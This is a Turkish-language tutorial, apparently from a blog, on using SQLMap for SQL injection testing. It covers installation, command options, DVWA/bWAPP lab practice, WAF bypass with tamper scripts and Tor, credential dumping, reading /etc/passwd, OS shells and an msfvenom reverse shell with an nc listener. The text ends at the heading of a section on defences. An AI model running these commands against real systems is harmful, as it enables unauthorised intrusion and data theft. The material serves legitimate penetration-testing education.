SQLMap Nedir? Nasıl Kullanılır? Adım Adım SQL Injection Test Rehberi

 

SQLMap Nedir? Nasıl Kullanılır? Adım Adım SQL Injection Test Rehberi
SQLMap Nedir? Nasıl Kullanılır? Adım Adım SQL Injection Test Rehberi




📌 SQLMap Nedir? — Giriş ve Temel Bilgiler (Bölüm 1)


🔍 SQLMap Nedir?

SQLMap, açık kaynak kodlu, Python ile yazılmış bir otomatik SQL enjeksiyon (SQL Injection) tespit ve istismar aracıdır. Web uygulamalarında bulunan veritabanı açıklarını tespit ederek, bu açıklardan sızma testi (penetration testing) yapılmasına olanak sağlar. Özellikle OWASP Top 10 listesinde yer alan SQL Injection açıklarını hedef alır.

SQLMap, etik hackerlar, siber güvenlik uzmanları, penetration tester’lar ve güvenlik araştırmacıları tarafından sıkça kullanılır. Otomatik olarak veritabanı bilgilerini elde edebilir, veritabanı yapısını çözebilir ve kullanıcı verilerine ulaşabilir.


💡 SQL Injection (SQLi) Nedir?

SQL Injection, kötü niyetli kullanıcıların, veritabanı sorgularını manipüle ederek uygulamanın beklenmedik şekilde davranmasına yol açtığı bir güvenlik açığıdır. Bu tür saldırılar sayesinde saldırgan, kullanıcı adı, şifre, kredi kartı bilgileri gibi hassas verilere erişebilir.

Örneğin, bir giriş formuna ' OR '1'='1 gibi bir ifade girilirse, saldırgan tüm kullanıcı listesine erişim kazanabilir.


🎯 SQLMap’in Amaçları

SQLMap’in temel hedefleri şunlardır:

  • SQL enjeksiyon zafiyetlerini otomatik olarak bulmak

  • Veritabanı bilgilerini çekmek (kullanıcılar, tablolar, kolonlar, vs.)

  • Veritabanı sistemine komut çalıştırmak

  • Güvenlik zafiyetlerini ortaya çıkarmak

  • Test sürecini hızlandırmak


🧩 SQLMap’in Özellikleri

SQLMap, aşağıdaki gibi birçok güçlü özelliğe sahiptir:

  • Otomatik tespit: GET ve POST isteklerinde SQL Injection açığını tarar.

  • Veritabanı desteği: MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, DB2 ve daha fazlasını destekler.

  • Veri çıkarma: Tabloları, kolonları ve verileri kolayca dışa aktarır.

  • Hash çözme: Şifrelenmiş parolaları otomatik çözmeye çalışır.

  • Komut çalıştırma: Sistem komutları çalıştırarak kabuk erişimi sağlayabilir.

  • Proxy ve Tor desteği: Anonim testler yapmak mümkündür.

  • Cookie, header ve parametre analizi: Gelişmiş HTTP isteği yapılandırmaları.


🛠️ Hangi Durumlarda SQLMap Kullanılır?

SQLMap genellikle şu senaryolarda tercih edilir:

  • Web uygulamalarının güvenlik testi

  • Red team ve blue team analizleri

  • Penetrasyon testi raporları için delil toplama

  • Eğitim ve araştırma amaçlı simülasyonlar


🔐 SQLMap Etik Kullanım Kuralları

SQLMap, yasal olmayan işlemler için kullanılmamalıdır. Sadece:

  • Kendi sunucularınızda

  • İzin alınmış hedeflerde

  • Eğitim ortamlarında

kullanılması gerekir. Aksi durumda hukuki sorumluluk doğabilir. Bu makale de yalnızca eğitim ve bilinçlendirme amaçlı hazırlanmıştır.


SQLMap Nedir? Nasıl Kullanılır? Adım Adım SQL Injection Test Rehberi

🔍 Neden SQLMap? Diğer Araçlardan Farkı Ne?

SQLMap’in tercih edilmesinin başlıca nedenleri:

  • Ücretsiz ve açık kaynaklı: Geliştiriciler ve araştırmacılar sürekli güncelliyor.

  • Kapsamlı parametre desteği: Karmaşık sorgular bile yönetilebilir.

  • Kolay kullanım: Komut satırı üzerinden kolayca entegre edilir.

  • Topluluk desteği: Forumlar, GitHub ve diğer kaynaklarda yoğun içerik mevcut.


🧪 SQLMap Kullanım Alanları

  • Web pentest projeleri

  • Sızma testi eğitimleri

  • Güvenlik araştırma laboratuvarları

  • CTF (Capture The Flag) yarışmaları


🚀 Bir Bakışta SQLMap

Özellik Açıklama
Diller Python
Desteklenen DBMS MySQL, MSSQL, PostgreSQL, Oracle, SQLite vb.
Platform Windows, Linux, macOS
Lisans GPLv2 (Açık kaynak)
Web Sitesi https://sqlmap.org

Devamında neler gelecek? 📚

Bölüm 2: SQLMap Kurulumu (Linux, Windows, Termux, Docker)

Bölüm 3: SQLMap Komutları ve Kullanımı

Bölüm 4: Gerçek Hedef Üzerinde Uygulama Örnekleri

Bölüm 5: Gelişmiş Teknikler ve ByPass Yöntemleri

Bölüm 6: Loglama, Otomasyon ve Raporlama

Bölüm 7: SQLMap ile Güvenlik Test Süreci

Bölüm 8: Sık Yapılan Hatalar ve İpuçları

Bölüm 9: Etik Hackerlar için Kılavuz

Bölüm 10: Sonuç ve Kapanış


⚙️ Bölüm 2: SQLMap Kurulumu ve Ortam Hazırlığı


🖥️ SQLMap Kurulumu — Genel Bilgiler

SQLMap, Python tabanlı bir araç olduğu için hemen her platformda çalıştırılabilir: Windows, Linux, macOS ve Android (Termux üzerinden). Kurulum için öncelikle sisteminizde Python 3.x sürümünün yüklü olması gerekir.

Python yüklü değilse, resmi web sitesi olan https://python.org üzerinden indirip kurabilirsiniz.


📦 1. Windows Üzerinde SQLMap Kurulumu

Adım adım SQLMap kurulum süreci:

  1. Python Kurulumu

    Python’un son sürümünü https://python.org/downloads adresinden indirip yükleyin. Kurulum sırasında “Add Python to PATH” kutusunu işaretlemeyi unutmayın.

  2. Git Yükleme

    SQLMap GitHub reposundan indirileceği için Git gereklidir. Git’i https://git-scm.com/downloads adresinden kurabilirsiniz.

  3. SQLMap’i Klonla

    Komut istemcisine (CMD) şu komutu yazın:

    bash

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev
  4. SQLMap’i Çalıştır

    SQLMap’i doğrudan şu komutla başlatabilirsiniz:

    bash

    python sqlmap.py

Artık SQLMap komut satırınızdan kullanılabilir.


🐧 2. Linux Üzerinde SQLMap Kurulumu

Linux dağıtımları (Ubuntu, Debian, Kali Linux, Parrot OS vb.) genellikle penetration test için daha uygundur.

Kurulum adımları:

  1. Terminali açın.

  2. Aşağıdaki komutu yazın:

    bash

    sudo apt update sudo apt install git python3 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python3 sqlmap.py

📝 Not: Kali Linux gibi bazı dağıtımlarda SQLMap önceden kurulu olabilir. Kontrol etmek için terminale sqlmap -h yazabilirsiniz.


🍏 3. macOS Üzerinde SQLMap Kurulumu

macOS kullanıcıları da SQLMap’i kolaylıkla kurabilir:

  1. Terminali açın.

  2. Homebrew kurulu değilse önce kurun:

    bash

    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  3. Git ve Python yükleyin:

    bash

    brew install git python
  4. SQLMap’i klonlayın ve çalıştırın:

    bash

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python3 sqlmap.py

📱 4. Android (Termux) Üzerinde SQLMap Kurulumu

SQLMap’i mobil cihazda kullanmak istiyorsan, Termux en iyi çözümlerden biri. Ancak sadece Android cihazlarda geçerlidir.

Adımlar:

  1. Termux’u Google Play veya F-Droid üzerinden indir.

  2. Termux’u aç ve şu komutları sırayla gir:

    bash

    pkg update && pkg upgrade pkg install git python git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python sqlmap.py

⚠️ Termux, root erişimi olmadan bazı komutları desteklemeyebilir.


🐳 5. Docker ile SQLMap Kullanımı

SQLMap’i Docker konteyneri olarak çalıştırmak daha izole ve güvenli bir ortam sağlar.

Kurulum Adımları:

  1. Docker kurulu değilse kur:

  2. Terminalden şu komutla SQLMap konteynerini başlat:

    bash

    docker run -it --rm --name sqlmap ferruhmert/sqlmap
  3. Örnek kullanım:

    bash

    docker run -it --rm ferruhmert/sqlmap -u "http://hedefsite.com?id=1" --dbs

🔌 Bağlantı Testi ve Kullanıma Hazırlık

Kurulum sonrası SQLMap’in çalışıp çalışmadığını test etmek için:

bash

python sqlmap.py -h

Eğer yardım menüsü geliyorsa, kurulum başarılı demektir.


📚 Bonus: Test Ortamı Kurmak (Hackable Lab)

SQLMap kullanmadan önce yasal ve etik kurallar çerçevesinde test yapabileceğin güvenli ortamlar oluşturmalısın:

  1. DVWA (Damn Vulnerable Web Application)

    https://github.com/digininja/DVWA

  2. bWAPP (Buggy Web Application)

    https://sourceforge.net/projects/bwapp/

  3. WebGoat (OWASP)

    https://owasp.org/www-project-webgoat/

Bu uygulamaları yerel sunucuda barındırarak SQLMap pratikleri yapabilirsin.


Kurulum Sonrası Hazırlıklar

  • Proxy yapılandırması (Burp Suite ile entegrasyon)

  • VPN ya da Tor ile anonim bağlantı

  • Gözlem için log klasörlerini kontrol etme

  • Uygulama öncesi hedefe izin alınması


Bu bölümde SQLMap’in farklı ortamlarda nasıl kurulacağını adım adım gösterdik. Şimdi sırada, komutlar ve temel kullanım örnekleri var. 👇

🧾 Bölüm 3: SQLMap Komutları, Parametreler ve Temel Kullanım Örnekleri 


🖥️ SQLMap Komut Satırı Kullanımı

SQLMap, komut satırı (terminal veya CMD) üzerinden çalışır. Temel sözdizimi şu şekildedir:

bash

python sqlmap.py [seçenekler]

Ya da sistem PATH’ine eklediyseniz kısaca:

bash

sqlmap [seçenekler]

🔗 Temel Kullanım Örnekleri

1. Basit GET isteğiyle SQL Injection taraması:

bash

sqlmap -u "http://hedefsite.com/urun.php?id=1"

Bu komut, belirtilen URL’de id parametresi üzerinde SQL Injection denemeleri yapar.

2. POST isteğiyle form verisi test etmek:

bash

sqlmap -u "http://hedefsite.com/login.php" --data="username=admin&password=1234"

Bu komutta, --data ile POST form verileri gönderilir. SQLMap, bu parametrelerde zafiyet arar.

3. Cookie ile oturum bazlı tarama:

bash

sqlmap -u "http://hedefsite.com/dashboard.php" --cookie="PHPSESSID=abcd1234"

Tarama sırasında oturum bilgisi gerekiyorsa, --cookie parametresi kullanılır.


🔑 En Sık Kullanılan SQLMap Parametreleri

Parametre Açıklama
-u Hedef URL’yi belirtir
--data POST verisi girilir
--cookie Cookie bilgisi girilir
--level Tarama seviyesi (1-5)
--risk Risk seviyesi (1-3)
--dbs Tüm veritabanlarını listeler
--tables Tabloları gösterir
--columns Kolonları listeler
--dump Verileri çeker
--threads Tarama için iş parçacığı sayısı
--batch Tüm sorulara otomatik “Evet” yanıtı verir
--os-shell Sistem kabuğu açmaya çalışır
--tor Tor ağı üzerinden bağlantı sağlar
--proxy Belirli bir proxy ile çalışır
--random-agent Rastgele User-Agent tanımlaması yapar
--technique=BEUSTQ Belirli enjeksiyon tekniklerini sınırlar

⚙️ Parametreleri Kombine Etme

SQLMap’in asıl gücü parametreleri akıllıca birleştirmekten gelir. Örnek:

bash

sqlmap -u "http://site.com/page.php?id=5" --cookie="sessionid=xyz" --risk=3 --level=5 --random-agent --batch --dbs

Bu komutla:

    1. seviyeye kadar detaylı test yapılır

  • Riskli payload’lar denenir

  • Kullanıcı ajanı rastgele seçilir

  • Oturum bilgisi verilir

  • Kullanıcıdan onay istenmeden işlem yapılır


📥 Veri Tabanı, Tablo ve Kolon Bilgilerini Çekme

1. Tüm veritabanlarını listeleme:
bash

sqlmap -u "http://site.com/page.php?id=2" --dbs
2. Belirli veritabanının tablolarını görmek:
bash

sqlmap -u "http://site.com/page.php?id=2" -D hedefdb --tables
3. Belirli tablonun kolonlarını görmek:
bash

sqlmap -u "http://site.com/page.php?id=2" -D hedefdb -T kullanicilar --columns
4. Belirli verileri çekmek:
bash

sqlmap -u "http://site.com/page.php?id=2" -D hedefdb -T kullanicilar -C username,password --dump

🧠 Tarama Seviyesi ve Risk Ayarları

  • --level=1-5: Taramanın kapsamı. 1: hızlı, 5: detaylı.

  • --risk=1-3: Payload’ların tehlikelilik düzeyi. 3, kritik sistemlere zarar verebilir.

Önerilen kombinasyon:

bash

--level=3 --risk=2

Bu ayarlar, gerçek sistemlerde hem yeterli kapsam hem de düşük risk sağlar.


🌐 Proxy ve Tor ile Anonim Testler

SQLMap ile anonim test yapılabilir:

bash

sqlmap -u "http://hedef.com" --tor --tor-type=SOCKS5 --check-tor

Proxy kullanımı:

bash

sqlmap -u "http://hedef.com" --proxy="http://127.0.0.1:8080"

Burp Suite ile entegre test yapılacaksa, bu ayar idealdir.


🤖 Otomatik Mod: –batch

SQLMap test sırasında çok sayıda onay sorusu sorar. Eğer müdahale etmeden test yapılacaksa:

bash

--batch

Bu parametre ile tüm sorulara otomatik “evet” cevabı verilir.


🧪 İpucu: Parametre Belirtme Teknikleri

Eğer hedef URL çok sayıda parametre içeriyorsa, sadece belirli birini test ettirmek istersen:

bash

sqlmap -u "http://site.com/index.php?id=1&kategori=3" -p "id"

Bu sayede sadece id parametresi üzerinde test yapılır.


🧰 Hazır Payload ve Dosya Tabanlı Testler

Bazı durumlarda URL’ler ve POST verileri dosya üzerinden aktarılabilir:

bash

sqlmap -r istek.txt --batch --dbs

istek.txt dosyası, tarayıcı veya Burp Suite’ten alınan HTTP isteği içerir.


Bu Bölümde Neler Öğrendik?

  • SQLMap komut yapısını

  • En çok kullanılan parametreleri

  • Temel senaryolar ve örnekler

  • Veri çekme ve analiz süreçleri

  • Proxy, cookie, User-Agent gibi gelişmiş kontroller


🚀 Şimdi sırada uygulamalı örneklerle gerçek bir web uygulamasında SQLMap kullanımı var!

🧪 Bölüm 4: Gerçek Hedef Üzerinde Uygulama Örneği (DVWA / bWAPP ile SQLMap Pratiği) 


🛡️ Yasal Uyarı

Bu bölümde vereceğimiz tüm örnekler yalnızca eğitim amaçlıdır ve yalnızca kendi oluşturduğunuz veya açıkça izin verilen test ortamlarında kullanılmalıdır. Gerçek sitelerde, sahibinden açık izin almadan SQLMap gibi araçları kullanmak kanunen suçtur.


🏗️ Test Ortamı Hazırlığı

Bu örnekleri uygulamak için sanal makine ya da yerel sunucuya aşağıdaki uygulamalardan birini kurabilirsin:

1. DVWA (Damn Vulnerable Web Application)

Kurulum Özeti (XAMPP üzerinde):

  1. XAMPP veya LAMP/MAMP kurulumu yap.

  2. htdocs klasörüne DVWA dosyalarını yerleştir.

  3. config dosyasını düzenle.

  4. MySQL ve Apache’yi başlat.

  5. http://localhost/dvwa/setup.php üzerinden veritabanını oluştur.

2. bWAPP (Buggy Web Application)

Kurulum XAMPP veya Docker ile yapılabilir.


🎯 Hedef Belirleme

DVWA içinde SQL Injection seviyesini “Low” olarak ayarlayarak başlayalım:

  1. Tarayıcıda: http://localhost/dvwa/vulnerabilities/sqli/

  2. URL örneği:

bash

http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

🔍 Adım Adım SQLMap Kullanımı

🪜 Adım 1: Temel Tarama

bash

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low"

Bu komutta:

  • --cookie kısmında oturum bilgisi var (bu bilgi, giriş yaptıktan sonra tarayıcıdan alınır).

  • SQLMap, id parametresi üzerinde tarama yapacak.

🧪 Adım 2: Veritabanlarını Listeleme

bash

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" --dbs

Bu komutla tüm veritabanları listelenir.

Beklenen çıktı:

less

[*] available databases [3]: [*] dvwa [*] information_schema [*] mysql

📂 Adım 3: Tabloları Görüntüleme

bash

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa --tables

Beklenen çıktı:

css

[*] Table: users

📋 Adım 4: Kolonları Listeleme

bash

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa -T users --columns

Beklenen kolonlar:

pgsql

user_id, first_name, last_name, username, password

📥 Adım 5: Verileri Çekme

bash

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa -T users -C username,password --dump

Bu komutla kullanıcı adları ve şifreler elde edilir.


💡 Gelişmiş: POST Formuna SQLMap ile Müdahale

Form URL’si:

http://localhost/dvwa/vulnerabilities/sqli/

Form verisi:

id=1&Submit=Submit

Komut:

bash

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" --dbs

🎯 Hedef Belirleme: bWAPP Örneği

bWAPP’te SQL Injection modülünü seç ve benzer URL’yi yakala. Örneğin:

bash

http://localhost/bWAPP/sqli_1.php?title=1

Komut:

bash

sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=1" --cookie="PHPSESSID=xyz; security_level=0" --dbs

Aynı mantıkla tabloları, kolonları ve verileri çekebilirsin.


🛠️ İpuçları ve Hatalarla Başa Çıkma

  • Cookie doğru değilse, SQLMap tarama yapmaz.

  • Zafiyet seviyesini “High” yaptığında, SQLMap daha az sonuç alabilir.

  • Güvenlik duvarı varsa, --tamper scriptleri ile bypass denenebilir (bir sonraki bölümde anlatılacak).


Bu Bölümde Neler Öğrendik?

  • DVWA ve bWAPP test ortamları nasıl kurulur?

  • Gerçek bir hedefte SQLMap nasıl kullanılır?

  • Veritabanı, tablo, kolon ve veriler nasıl çekilir?

  • POST ve GET istekleri nasıl analiz edilir?

  • Cookie ile oturum takibi nasıl yapılır?


📘 Sonraki Bölüm:
💣 Bölüm 5 — SQLMap ile Güvenlik Duvarlarını Atlama: Tamper Scriptleri ve Bypass Teknikleri

🔐 Bölüm 5: SQLMap ile Güvenlik Duvarlarını Atlama – Tamper Scriptleri ve Bypass Teknikleri 


🧱 Güvenlik Duvarları ve WAF Nedir?

Web Application Firewall (WAF), web uygulamalarını SQL Injection gibi saldırılardan korumaya yarayan bir güvenlik katmanıdır. Örneğin:

  • Cloudflare

  • ModSecurity

  • AWS WAF

  • Imperva

Bu sistemler, gelen istekleri filtreleyerek şüpheli SQL ifadelerini tespit edip engeller. Bu durumlarda SQLMap’in klasik payload’ları çalışmaz.


🧨 SQLMap ile WAF Atlama Stratejileri

1. –tamper Scriptleri Kullanmak

SQLMap, WAF’leri atlatmak için “tamper” adını verdiği scriptleri kullanır. Bunlar SQL sorgularını, WAF’lerin algılamayacağı biçimlere dönüştürür.

Kullanımı:

bash

sqlmap -u "http://hedef.com?id=1" --tamper=charencode

Birden fazla tamper scripti:

bash

sqlmap -u "http://hedef.com?id=1" --tamper=charencode,randomcase

📂 Popüler Tamper Scriptleri ve Ne İşe Yararlar?

Script Adı Açıklama
space2comment Boşlukları SQL yorum satırı haline getirir (/**/)
randomcase SQL komutlarının harflerini büyük-küçük karışık yapar
charencode Karakterleri hex/kodlanmış hale getirir
between OR 1=1 gibi ifadeleri BETWEEN ile değiştirir
apostrophemask Tırnakları maskeleyerek gönderir
equaltolike = ifadesini LIKE olarak değiştirir
versionedmorekeywords MySQL sürüm uyumlu anahtar kelimeler ekler
unmagicquotes Magic Quotes açık sistemleri bypass eder
base64encode Parametreleri base64 ile kodlar

🔄 Tamper Örneği:

Normal tarama sonucu:

nginx

WAF ERROR: Request blocked

Tamper ile:

bash

sqlmap -u "http://site.com/index.php?id=1" --tamper=space2comment,randomcase --dbs

Sonuç: WAF geçildi, veritabanları listelendi ✅


🔧 Kendi Tamper Scriptini Yazmak

SQLMap Python ile yazılmış bir araç olduğu için kendi tamper scriptini yazmak mümkündür.

Basit örnek: reverseorder.py

python

def tamper(payload, **kwargs): return payload[::-1]

Bu, SQL sorgusunu ters çevirir (genellikle işe yaramaz ama örnek mantığı gösterir). Scripti tamper klasörüne atıp --tamper=reverseorder ile kullanabilirsin.


🎭 User-Agent ve Header Değiştirme ile Gizlenme

Bazı WAF sistemleri gelen User-Agent bilgisine göre hareket eder. SQLMap ile kolayca değiştirebilirsin:

bash

--random-agent

Ya da özel bir tanım:

bash

--user-agent="Mozilla/5.0 (Windows NT 10.0)"

Ayrıca özel header’lar ekleyebilirsin:

bash

--headers="X-Forwarded-For: 127.0.0.1"

🌍 Tor ile Anonimlik Sağlama

SQLMap, saldırı trafiğini Tor üzerinden yönlendirebilir:

bash

sqlmap -u "http://site.com/page.php?id=1" --tor --check-tor

Tor proxy varsayılan olarak 127.0.0.1:9050’dır. Burada dikkat edilmesi gereken:

  • Tor servisi aktif olmalı

  • İsteğin HTTP olmalı (HTTPS üzerinde zorluklar olabilir)


🚧 Rate-Limiting / Ban Koruması İçin Bekleme Ayarı

Hedef sistem çok fazla istek alınca seni engelliyorsa:

bash

--delay=3

Bu, her istekten sonra 3 saniye beklemesini sağlar. Ek olarak:

bash

--timeout=10 --retries=3

Zaman aşımlarında SQLMap’in tekrar denemesini sağlar.


🧠 Payload Modifikasyonu ile El Yapımı Bypass

Eğer SQLMap her yolu denedi ama başarılı olamadıysa, manuel test yapmak gerekir. Ancak SQLMap’e özel payload da verilebilir:

bash

--prefix="') " --suffix=" -- -" --technique=U

Bu şekilde örneğin:

  • ' UNION SELECT … -- - gibi payload’lara zorlanabilir.

  • Prefix ve suffix, sorgunun başına/sonuna eklenecek özel ifadeleri belirtir.


🛡️ WAF Tespiti (Pasif)

SQLMap bazı WAF’leri otomatik olarak tanıyabilir:

bash

sqlmap -u "http://hedef.com" --identify-waf

Çıktıda Cloudflare, AWS WAF gibi sistemler varsa gösterilir. WAF varsa, mutlaka tamper ya da bypass denemesi yapılmalıdır.


Bu Bölümde Neler Öğrendik?

  • WAF sistemlerinin SQLMap’e karşı koruma sağladığını

  • SQLMap ile WAF atlatma yollarını

  • Tamper scriptlerinin kullanımı ve yazımı

  • User-Agent değiştirme, header ekleme

  • Tor ile anonimlik ve gecikme ayarları


📘 Sonraki Bölüm:
🔐 Bölüm 6 — SQLMap ile Şifre Kırma, Hash Çözme ve Sistem Erişimi Sağlama

Bu bölümde ele geçirilen şifrelerin kırılması ve SQLMap’in işletim sistemi kabuğu (OS Shell) açma gibi ileri düzey fonksiyonlarına değineceğiz.

💣 Bölüm 6: SQLMap ile Şifre Kırma, Hash Çözme ve Sistem Erişimi Sağlama 


🔐 1. SQLMap ile Ele Geçirilen Hash’ler

SQL Injection sonucu çoğu zaman password kolonları hashlenmiş şekilde gelir. Örneğin:

sql

admin | 5f4dcc3b5aa765d61d8327deb882cf99

Bu, bir MD5 hash’tir ve "password" kelimesini temsil eder.

SQLMap, bu hash’leri çözmeye de yardımcı olabilir.

🧪 Örnek Komut:

bash

sqlmap -u "http://site.com/page.php?id=1" --dump --passwords

Bu komut sayesinde:

  • SQLMap veritabanından şifre hash’lerini çeker.

  • Tanınan hash’leri çözmeye çalışır.


🔓 2. SQLMap ile Hash Kırma (Cracking)

SQLMap, basit hash’leri yerleşik wordlist’lerle çözebilir. Daha gelişmiş durumlar için hashcat, john gibi araçlara geçiş gerekebilir.

SQLMap çıktısı örneği:

sql

Database: dvwa Table: users [1 entry] +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +----+----------+----------------------------------+ [INFO] the password hash corresponds to: password

✅ SQLMap, yaygın hash türlerini otomatik algılar: MD5, SHA1, SHA256, MySQL hash v1/v2, MSSQL, vb.


🔁 3. Manuel Hash Analizi (Gelişmiş Kullanıcılar İçin)

SQLMap çözemezse hash şu şekilde alınabilir:

bash

sqlmap -u "http://site.com?id=1" --dump -C password -T users -D dvwa --batch --output-dir=/path/to/save

Sonra bu hash’leri:


🧠 4. SQLMap ile Komut Çalıştırma (OS Shell)

Eğer SQL Injection bir Command Injection ile birleştirilmişse, SQLMap hedef sistemde doğrudan komut çalıştırabilir.

🔥 Komut Örneği:

bash

sqlmap -u "http://hedef.com/page.php?id=1" --os-shell

Bu komut çalıştığında SQLMap hedef sistemde bir terminal açmaya çalışır. Eğer başarılı olursa:

shell

os-shell> whoami

gibi komutları doğrudan hedefte çalıştırabilirsin.

Not: Bu özellik, sistemin yüksek derecede zafiyetli olması durumunda çalışır. Her durumda mümkün değildir.


🔁 5. SQLMap ile Dosya Transferi

SQLMap hedef sisteme dosya gönderebilir veya oradan dosya çekebilir.

📤 Dosya Yükleme:

bash

sqlmap -u "http://hedef.com/index.php?id=1" --file-write="/home/kali/reverse.php" --file-dest="/var/www/html/reverse.php"

Bu komutla Kali’deki reverse.php dosyası hedef sisteme yüklenir.

📥 Dosya Okuma:

bash

sqlmap -u "http://hedef.com/index.php?id=1" --file-read="/etc/passwd"

Bu komutla hedefteki /etc/passwd dosyası okunur.


🧨 6. SQLMap ile Reverse Shell (Geri Bağlantı)

Hedef sisteme reverse shell dosyası yüklenip çalıştırılırsa, Kali sistemine bağlantı gelir.

Adımlar:

  1. msfvenom ile bir payload hazırlanır:

bash

msfvenom -p php/reverse_php LHOST=192.168.1.100 LPORT=4444 -f raw > reverse.php
  1. Bu dosya SQLMap ile yüklenir.

  2. Kali’de listener açılır:

bash

nc -lvnp 4444
  1. Hedefte reverse.php çalıştırıldığında bağlantı gelir.


⚠️ Dikkat Edilmesi Gerekenler

  • --os-shell özelliği genellikle sistem kullanıcısının yetkisiyle sınırlıdır.

  • WAF varsa komut yürütme başarısız olabilir.

  • Bu işlemler yalnızca test ve eğitim ortamlarında yapılmalıdır.

  • Gerçek sistemlerde uygulanması suç teşkil eder.


Bu Bölümde Neler Öğrendik?

  • SQLMap ile ele geçirilen hash’lerin nasıl çözüldüğü

  • Komut çalıştırma ve işletim sistemi terminali açma

  • Dosya yükleme/okuma

  • Reverse Shell kurulumu

  • Gerçek sistem kontrolünün nasıl sağlanabileceği


📘 Sonraki Bölüm:
📊 Bölüm 7 — SQLMap Kullanımında Loglama, Raporlama ve Otomasyon Teknikleri

Bir sonraki bölümde, SQLMap çıktılarının nasıl kaydedileceğini, raporların nasıl üretileceğini ve testlerin nasıl otomatikleştirileceğini anlatacağız.

📊 Bölüm 7: SQLMap Loglama, Raporlama ve Otomasyon Teknikleri 


🗂️ 1. SQLMap Loglama Özellikleri

SQLMap, çalıştırdığın her testin detaylı logunu otomatik olarak bir klasöre kaydeder. Bu loglar şunları içerir:

  • HTTP istek/yanıtları

  • Payload’lar

  • Dump edilen veritabanları

  • Rapor dosyaları (txt, csv, xml formatlarında)

🔧 Kayıt Klasörü:

Varsayılan olarak:

bash

~/.sqlmap/output/

Örneğin şu hedefe yapılan taramada:

bash

sqlmap -u "http://example.com?id=1"

Çıktılar:

ruby

~/.sqlmap/output/example.com/

İçeriği:

  • log — log dosyaları

  • dump — veritabanı dökümleri

  • session.sqlite — oturum bilgisi


🧾 2. Raporlama Formatları (XML, JSON, CSV, TXT)

SQLMap ile elde edilen verileri farklı formatlarda dışa aktarabilirsin:

🔹 TXT formatı:

bash

--output-dir=/home/kali/raporlar

Tüm çıktılar belirtilen klasöre kaydedilir.

🔹 CSV:

CSV formatında döküm almak için:

bash

--dump-format=CSV

🔹 XML:

Makine tarafından okunabilir raporlar için:

bash

--batch --output-dir=raporlar --parse-errors --dump-format=XML

Bu çıktılar, SIEM veya otomatik analiz sistemlerine kolayca aktarılabilir.


🔁 3. Otomasyon İçin Script Entegrasyonu

SQLMap, otomasyon senaryolarında Python veya Bash scriptleriyle entegre kullanılabilir.

🐍 Python ile Örnek Otomasyon:

python

import subprocess urls = [ "http://testsite1.com/index.php?id=1", "http://testsite2.com/item.php?prod=4" ] for url in urls: subprocess.call([ "sqlmap", "-u", url, "--batch", "--dbs", "--output-dir=output" ])

Bu script, listedeki URL’leri sırayla tarar ve sonuçları kaydeder.


🧠 4. SQLMap’te Session Kullanımı

Bir test ortasında durduysan ve sonra devam etmek istiyorsan, SQLMap session sistemini kullanabilirsin.

🔃 Devam Etmek:

bash

sqlmap -u "http://hedef.com/index.php?id=1" --resume

SQLMap otomatik olarak oturum dosyasını bulur ve kaldığı yerden devam eder.


🛠️ 5. SQLMap ile Cronjob Kullanımı (Zamanlanmış Test)

Belirli aralıklarla zafiyet testi yapmak için cron kullanılabilir.

🕒 Örnek Cronjob:

bash

0 2 * * * /usr/bin/sqlmap -u "http://site.com?id=1" --batch --dump --output-dir=/opt/otomatik_raporlar

Bu, her gün saat 02:00’de SQLMap çalıştırır ve sonuçları kaydeder.


🧱 6. Burp Suite Entegrasyonu (Proxy Mode)

SQLMap, Burp Suite ile entegre çalışabilir. Böylece GET/POST parametrelerini, cookie’leri daha kolay test edebilirsin.

Adımlar:

  1. Burp Suite başlat, proxy portunu örneğin 8080 yap.

  2. Tarayıcıyı Burp’a yönlendir.

  3. SQLMap’te proxy ayarı yap:

bash

--proxy="http://127.0.0.1:8080"

Bu sayede Burp üzerinde geçen tüm SQLMap trafiğini görebilirsin.


📡 7. –crawl ile Link Tarama ve Derin Taramalar

SQLMap sadece tek bir URL’yi değil, sitedeki linkleri de tarayabilir.

Örnek:

bash

sqlmap -u "http://hedef.com" --crawl=2

Bu komut siteyi gezip 2 derinlikte linkleri analiz eder ve test eder.


📘 8. Report Output Özelleştirme

SQLMap çıktısını temiz bir şekilde almak için:

bash

--batch --flush-session --answers="follow=Y"

Bu ayarlar:

  • Otomatik evet yanıtları verir.

  • Eski oturumu sıfırlar.

  • Sorulacak tüm sorulara Y cevabı verir.


Bu Bölümde Neler Öğrendik?

  • SQLMap loglarının nerede ve nasıl tutulduğu

  • Rapor formatları (csv, xml, txt)

  • Otomasyon ve script entegrasyonu

  • Cronjob kullanımı

  • Burp Suite ile çalışma

  • Link tarama ve output özelleştirme


📘 Sonraki Bölüm:
🛡️ Bölüm 8 — SQLMap’e Karşı Alınabilecek Güvenlik Önlemleri

Bir sonraki bölümde, web uygulama geliştiricileri ve sistem yöneticileri için SQLMap tarzı saldırılara karşı alınabilecek etkili güvenlik önlemlerini ele alacağız.

🛡️ Bölüm 8: SQLMap’e Karşı Alınabilecek Güvenlik Önlemleri 


